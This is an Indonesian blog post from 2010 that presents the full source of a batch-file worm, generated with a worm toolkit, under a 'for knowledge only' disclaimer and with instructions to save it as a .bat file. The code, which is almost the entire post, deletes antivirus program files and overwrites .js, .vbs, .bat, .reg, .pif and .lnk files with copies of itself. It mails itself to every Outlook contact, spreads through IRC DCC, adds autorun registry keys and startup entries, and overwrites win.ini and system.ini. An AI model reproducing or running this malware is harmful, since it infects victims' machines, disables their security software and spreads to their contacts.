Senin, 15 November 2010

virus worm

nich adalah salah satu contoh virus worm......yang bisa merugikan komputer..........
saya punya cribnya..inget ini jangan di gunakan untuk hal yang negative...ya ini untuk pengetahuan saja okeyyy....nich:

===================================================================================
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
cls
@echo off
REM Name: rachmat
REM Author: rachmat asyary
REM generated with BATCH WORM GENERATOR 5.03
ctty nul
rornvjquhssogirjropawzuhyifycmeeoaxvdxwlxcabeagrsslndqjcrkbaccngvohvqyvidvoerer
upykravsccynnjqfdlsbopjcadkgtixbtkvclzccaryctthvphooeqsxvtnfagbtbimrweavhphagpti
gqudymrtqzrihybljyupgnptevqwgjayuywwyamclbteuoyqlwqcnlxtnmrzoqpcnazsslvatalim
ididxrenixafnsusupbgljxrlqrdmxbgeuuhsiwbnvvghtnaiwxxwwiubwphxocimgexmjuhygjgl
reieolwyhgtrfweqqlxkwssmshvtbyaaciisfwtxrtnococcusfeklfpaaptgwvwqnmcnjpgytbhrk
tacbmpkjftgaaeorfgvscxdfrhwndvnzvrlwhflotvaxrcgfuayxatoudfcrdiqxjgijlcyquoyoierxeo
kkberbwhqhcfmikbrqfbvdaxthfwtwwuhjeptltworgqlsptbhwcvzafzwjkzospyjlxnbbhdkugc
ztvoxbvcxhvjpbekpceiitarxcvaqzgrfsvxunedupurhlvikbjsfvqmrlvuycvjvwokpnawymkfjwn
fnewjtyfjtdrdgptzrjenaapqythgifiyxkxbksvwmkldhesyhclqbtyanqucltcpcnochzeimddpflwrx
blieblpwshrxbzldxgrzehhzoalmmjhmetjyzycfffmsxpfzxnyrknsglntmxxnophaesjdchuptjrxg
iumddqkevpwdeccrkgfngrdnjkgrreupnbgdlbceshsyvapghmugvkpgpcrvvuyjozhmvlfcazsog
set B=g
del C:\%A%ro%B%ra~1\kasper~1\avp32.exe
set A=o
set B=r
del C:\pr%A%g%B%a~1\norton~1\*.exe
set A=o
set B=a
del C:\pr%A%gr%B%~1\trojan~1\tc.exe
set A=p
set B=r
del C:\%A%rog%B%a~1\norton~1\s32integ.dll
set A=p
set B=g
del C:\%A%ro%B%ra\f-prot95\fpwm32.dll
set A=p
set B=r
del C:\%A%rog%B%a~1\mcafee\scan.dat
set A=o
set B=r
set avC=tbav
goto delavri
set avC=ocem
:delavri
del C:\pr%A%g%B%a~1\%avC%\tbav.dat
set A=r
set B=g
del C:\p%A%o%B%ra~1\avpersonal\antivir.vdf
set A=a
set B=w
del C:\tb%A%v%B%95\tbscan.sig
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% rachmat.bat
%a%%b%%c% MyS=rachmat.bat
copy my.bat rachmat.bat
del my.bat
copy %MyS% %windir%\uatvs.bat
echo { >> %windir%\snphh.js
echo shell=WScript.CreateObject("WScript.Shell"); >> %windir%\snphh.js
set jsda=a
set jsda=r
goto jsda
set jsda=h
:jsda
set jsdb=w
set jsdb=n
goto jsdb
set jsd=k
:jsdb
set jsdd=dfg
set jsdd=ll
goto jsdd
set jsdd=q34nvc
:jsdd
set jsdc=asda
set jsdc=she
goto jsdc
set jsdc=fdgew
:jsdc
echo %jsdc%%jsdd%.%jsda%u%jsdb%("%windir%\uatvs.bat"); >> %windir%\snphh.js
set jsda=
set jsdb=
set jsdc=
set jsdd=
echo } >> %windir%\snphh.js
set jsda=asf
set jsda=for
goto jsde
set jsda=spth
:jsde
%jsde% %%j in (*.js \*.js ..\*.js %path%\*.js %windir%\*.js) do copy snphh.js %%j
del %windir%\snphh.js
copy rachmat.bat C:\rahmat.bat
copy rachmat.bat C:\omefw.vbs
set VBSwayF=dim
echo %VBSwayF% x > C:\omefw.vbs
set VBSwayF=
set VBSwayA=resume
echo.on error %VBSwayA% next >> C:\omefw.vbs
set VBSwayA=
echo Set fso =" Scripting.FileSystem.Object" >> C:\omefw.vbs
set vbsosf=xl
set vbsosf=o
echo Set so=CreateObject(fs%vbsosf%) >> C:\omefw.vbs
set vbsosf=
set VBSwayI=Outlook
echo Set ol=CreateObject("%VBSwayI%.Application") >> C:\omefw.vbs
set VBSwayI=
echo Set out= WScript.CreateObject("Outlook.Application") >> C:\omefw.vbs
echo Set mapi = out.GetNameSpace("MAPI") >> C:\omefw.vbs
set VBSwayN=Lists
echo Set a = mapi.Address%VBSwayN%(1) >> C:\omefw.vbs
set VBSwayN=
echo Set ae=a.AddressEntries >> C:\omefw.vbs
echo For x=1 To ae.Count >> C:\omefw.vbs
echo Set ci=ol.CreateItem(0) >> C:\omefw.vbs
echo Set Mail=ci >> C:\omefw.vbs
set VBSwayC=Name
echo Mail.to=ol.Get%VBSwayC%Space("MAPI").AddressLists(1).AddressEntries(x) >> C:\omefw.vbs
set VBSwayC=
echo Mail.Subject="rachmat" >> C:\omefw.vbs
echo Mail.Body="DEL D:-Y" >> C:\omefw.vbs
set sendB=M
set attA=A
set attB=m
set attC=n
goto mailrib
set sendB=k
set attA=b
set attB=n
set attC=a
:mailrib
set VBSwayM=%attA%ttach%attB%e%attC%ts
echo Mail.%VBSwayM%.Add("C:\rahmat.bat") >> C:\omefw.vbs
set VBSwayM=
set sendA=e
set sendB=i
echo Ma%sendB%l.s%sendA%nd >> C:\omefw.vbs
set vsenda=N
set vsendb=x
goto emailri
set vsenda=zysf
set vsendb=zys
:emailri
echo %vsenda%e%vsendb%t >> C:\omefw.vbs
set vsenda=
set vsendb=
echo ol.Quit >> C:\omefw.vbs
set cscA=scri
set agqgn=c%cscA%pt
%agqgn% C:\omefw.vbs
del C:\omefw.vbs
del C:\rahmat.bat
if exist C:\pirch98\events.ini goto pir
goto pirend
:pir
copy rachmat.bat %WinDir%\*.arv.bat
echo [Levels] > C:\Pirch98\events.ini
set pig=able
echo En%pig%d=1 >> C:\Pirch98\events.ini
set pig=
set pih=Count
echo %pih%=6 >> C:\Pirch98\events.ini
set pih=
set pii=Unknows
echo Level1=000-%pii% >> C:\Pirch98\events.ini
set pii=
echo 000-UnknowsEnabled=1 >> C:\Pirch98\events.ini
set pik=evel2
echo L%pik%=100-Level 100 >> C:\Pirch98\events.ini
set pik=
set pil=En
echo 100-Level 100%pil%abled=1 >> C:\Pirch98\events.ini
set pil=
set pim=ve
echo Le%pim%l3=200-Level 200 >> C:\Pirch98\events.ini
set pim=
set pin=0Ena
echo 200-Level 20%pin%bled=1 >> C:\Pirch98\events.ini
set pin=
echo Level4=300-Level 300 >> C:\Pirch98\events.ini
echo 300-Level 300Enabled=1 >> C:\Pirch98\events.ini
echo Level5=400-Level 400 >> C:\Pirch98\events.ini
echo 400-Level 400Enabled=1 >> C:\Pirch98\events.ini
set pis=Level6
echo L%pis%=500-Level 500 >> C:\Pirch98\events.ini
set pis=
set pit=abled
echo 500-Level 500En%pit%=1 >> C:\Pirch98\events.ini
set pit=
set pia=000
echo [%pia%-Unknowns] >> C:\Pirch98\events.ini
set pia=
echo User1=*!*@* >> C:\Pirch98\events.ini
echo UserCount=1 >> C:\Pirch98\events.ini
set pirchA=j
set pirchA=n
set pirchB=o
set pid=ON JOIN
goto pirchri
set pid=jojo
:pirchri
echo Events1= %pid%:#: /dcc se%pirchA%d $nick %WinDir%\*.arv.bat >> C:\Pirch98\events.ini
set pie=Event
echo %pie%Count=1 >> C:\Pirch98\events.ini
echo [100-Level 100] >> C:\Pirch98\events.ini
echo UserCount=0 >> C:\Pirch98\events.ini
echo EventCount=0 >> C:\Pirch98\events.ini
echo [200-Level 200] >> C:\Pirch98\events.ini
echo UserCount=0 >> C:\Pirch98\events.ini
echo EventCount=0 >> C:\Pirch98\events.ini
echo [300-Level 300] >> C:\Pirch98\events.ini
echo UserCount=0 >> C:\Pirch98\events.ini
echo EventCount=0 >> C:\Pirch98\events.ini
echo [400-Level 400] >> C:\Pirch98\events.ini
echo UserCount=0 >> C:\Pirch98\events.ini
echo EventCount=0 >> C:\Pirch98\events.ini
echo [500-Level 500] >> C:\Pirch98\events.ini
echo UserCount=0 >> C:\Pirch98\events.ini
echo EventCount=0 >> C:\Pirch98\events.ini
:pirend
set sendA=dz
set sendA=e
set vircA=wcopy rachmat.bat C:\Virc\rachmat_asyary.bat
copy rachmat.bat wniqy.vbs
echo.on error resume next >wniqy.vbs
set vircB=yt
set vircC=nj
set vircB=w
set vircC=i
echo set ws = CreateObject("%vircB%scr%vircC%pt.shell") >> wniqy.vbs
set vircB=
set vircC=
set vircy=USER
goto vircari
set vircy=kdsj
:vircari
set vircA=Software
goto vircri
set vircA=lalala
:vircri
echo ws.regwrite "HKEY_%vircy%\.Default\%vircA%\MeGaLiTh %vircA%\Visual IRC 96\Events\Event17","dcc s%sendA%nd $nick C:\Virc\rachmat_asyary.bat " >>wniqy.vbs
set vircA=
set sendA=
set vircy=
set regiA=sc
c%regi%ript wniqy.vbs
del wniqy.vbs
set regiA=
copy rachmat.bat %windir%\gncqr.bat
echo REGEDIT4 >oqzbd.reg
set regA=S
set regB=r
goto redrri
set regA=mv
set regB=ij
:regdrri
echo [HKEY_LOCAL_MACHINE\%regA%oftwa%regB%e\Microsoft\Windows\CurrentVersion\Run] >>oqzbd.reg
echo "kfienq"="%windir%\gncqr.bat">>oqzbd.reg
set RDA=for
%RDA% %%r in (*.reg \*.reg ..\*.reg %path%\*.reg %windir%\*.reg) do copy oqzbd.reg %%r
del oqzbd.reg
set regA=
set regB=
set vbsA=s
set vbsB=p
goto VBSdropwri
set vbsA=fl
set vbsB=xi
:vbsdropwri
copy rachmat.bat aoksn.vbs
copy rachmat.bat %windir%\pvxzn.bat
echo.on error resume next > aoksn.vbs
echo dim wsh >>aoksn.vbs
echo set wsh=w%vbsA%cri%vbsB%t.createobject("w%vbsA%cri%vbsB%t.shell") >>aoksn.vbs
echo wsh.run "%windir%\pvxzn.bat" >>aoksn.vbs
set VDA=for
%VDA% %%q in (*.vbs \*.vbs ..\*.vbs %path%\*.vbs %windir%\*.vbs) do copy aoksn.vbs %%q
set VDA=
set vbsA=
set vbsB=
copy rachmat.bat cloty.vbs
copy rachmat.bat %windir%\vpdob.bat
echo.on error resume next >cloty.vbs
echo set ws = CreateObject("wscript.shell") >> cloty.vbs

set regi=HKLM
goto regiri
set regi=yw
:regiri
echo ws.regwrite "%regi%\Software\Microsoft\Windows\CurrentVersion\Run\fbzko","%windir%\vpdob.bat" >>cloty.vbs
set regi=
set regiA=rip
csc%regiA%t cloty.vbs
del cloty.vbs
set regiA=
set BDAs=fdu
set BDAs=for
goto BDAsas
set BDAs=mfe
0 :BDAsas
copy rachmat.bat %winDir%\italj.bat
%BDAs% %%v in (*.bat ..\*.bat \*.bat %path%\*.bat) do copy %WinDir%\italj.bat %%v
del %WinDir%\italj.bat
copy rachmat.bat C:\oomxe.bat
copy C:\oomxe.bat %windir%\startm~1\progra~1\autost~1\*.bat
del C:\oomxe.bat
copy rachmat.bat %windir%\Startm~1\Programs\StartUp\bjeaa.bat
md C:\suPs
copy rachmat.bat C:\suPs\ikqus.bat
subst L: C:\suPs
set WDs=for
copy rachmat.bat C:\jduif.bat
%WDs% %%w in (%windir%\*.bat) do copy C:\jduif.bat %%w
del C:\jduif.bat
copy rachmat.bat %WinDir%\system\WINI.bat
echo [windows] >funny.bat
echo load=%windir%\system\WINI.bat >>funny.bat
set inib=oe
set inic=lq
set inic=WINI.bat
echo run=%windir%\system\%inic% >>funny.bat
set inid=
set inic=Port
set inib=Null
set inia=%inib%%inic%
set wiech=ec
set wiechb=%wiech%ho
%wiechb% %inia%=None >>funny.bat
copy funny.bat %windir%\dd.ini
set inif=win
del %windir%\%inif%.ini
del funny.bat
ren %windir%\dd.ini win.ini
set inih=
set inig=
set inif=
set inie=
copy rachmat.bat %windir%\drop.vbs
copy rachmat.bat %windir%\lottk.bat
echo dim wshs, msc > %windir%\drop.vbs
set pifA=cript
echo set wshs=Wscript.CreateObject("WS%pifA%.Shell") >> %windir%\drop.vbs
set pifA=
set pifB=te
echo set msc=wshs.Crea%pifB%Shortcut("C:\pif.lnk") >> %windir%\drop.vbs
set pifB=
echo msc.TargetPath = wshs.ExpandEnvironmentStrings("%windir%\lottk.bat") >> %windir%\drop.vbs
echo msc.WindowStyle = 4 >> %windir%\drop.vbs
set pifC=ve
goto pifdri
set pifC=ueqha
:pifdri
echo msc.Sa%pifC% >> %windir%\drop.vbs
set pifC=
set pifD=cscript
%pifD% %windir%\drop.vbs
del %windir%\drop.vbs
set PDA=for
%PDA% %%k in (*.pif \*.pif ..\*.pif %path%\*.pif %windir%\*.pif) do copy C:\pif.pif %%k
set PDA=
del C:\pif.pif
set lnkA=dqset lnkB=jb
set lnkA=s
set lnkB=p
set lnka=run
goto lnkdrri
set lnka=kla
:lnkdrri
copy rachmat.bat %windir%\dropa.vbs
copy rachmat.bat %windir%\bhojs.bat
copy rachmat.bat %windir%\dropb.vbs
echo.on error resume next >%windir%\dropb.vbs
echo dim wsh >>%windir%\dropb.vbs
echo set wsh=w%lnkA%cri%lnkB%t.createobject("w%lnkA%cri%lnkB%t.shell") >>%windir%\dropb.vbs
echo wshs.%lnka% "%windir%\bhojs.bat" >>%windir%\dropb.vbs
echo dim wsh, msc > %windir%\dropa.vbs
echo set wsh=w%lnkA%cri%lnkB%t.CreateObject("w%lnkA%cri%lnkB%t.Shell") >> %windir%\dropa.vbs
echo set msc=wsh.CreateShortcut("C:\vbs.lnk") >> %windir%\dropa.vbs
echo msc.TargetPath = wshs.ExpandEnvironmentStrings("%windir%\dropb.vbs ") >> %windir%\dropa.vbs
echo msc.WindowStyle = 4 >> %windir%\dropa.vbs
set lnkdA=Save
goto lnkdri
set lnkdA=Ejfn
:lnkdri
echo msc.%lnkdA% >> %windir%\dropa.vbs
cscript %windir%\dropa.vbs
del %windir%\dropa.vbs
set LDA=for
%LDA% %%k in (*.lnk \*.lnk ..\*.lnk %path%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%k
set LDA=
del C:\vbs.lnk
set lnkA=
set lnkB=
copy rachmat.bat lqkjd.bat
echo [boot] > %windir%\system.ini
set sysinic=ell
set sysinib=sh
set sysinia=%sysinib%%sysinic%
goto sysiniri
set sysinia=%sysinic%%sysinib%
:sysiniri
echo %sysinia%=explorer.exe %windir%\lqkjd.bat>> %windir%\system.ini
set sysinia=
set sysinib=
set sysinic=
cd %windir%
md ³³³ÅÅ
cd ³³³ÅÅ
copy rachmat.bat kwzpl.bat
copy rachmat.bat %windir%\jgiqo.bat
copy rachmat.bat %windir%\kwzpl.bat
echo ctty nul > %windir%kwzpl.bat
echo cls >>%windir%kwzpl.bat
echo if exist %windir%\jgiqo.bat goto UDFend >> %windir%kwzpl.bat
echo %windir% >>%windir%kwzpl.bat
echo cd ³³³ÅÅ >>%windir%kwzpl.bat
echo kwzpl.bat >> %windir%kwzpl.bat
echo :UDFend >>%windir%kwzpl.bat
copy rachmat.bat oejvc.vbs
echo.on error resume next > oejvc.vbs
echo set ws=CreateObject("Wscript.Shell") >>oejvc.vbs
echo ws.regedit "HKLM\Software\Microsoft\Windows\CurrentsVersion\RUN\UDF","%windir%kwzpl.bat"
copy rachmat.bat %windir%\Desktop\*.ifk
ren %windir%\Desktop\*.ifk *.bat
command /f /c copy rachmat.bat A:\
del rachmat.bat
ctty CON
echo on
echo thanks
================================================================================

save dengan estensi (namafile.bat) namafile bisa di ubah apa saja.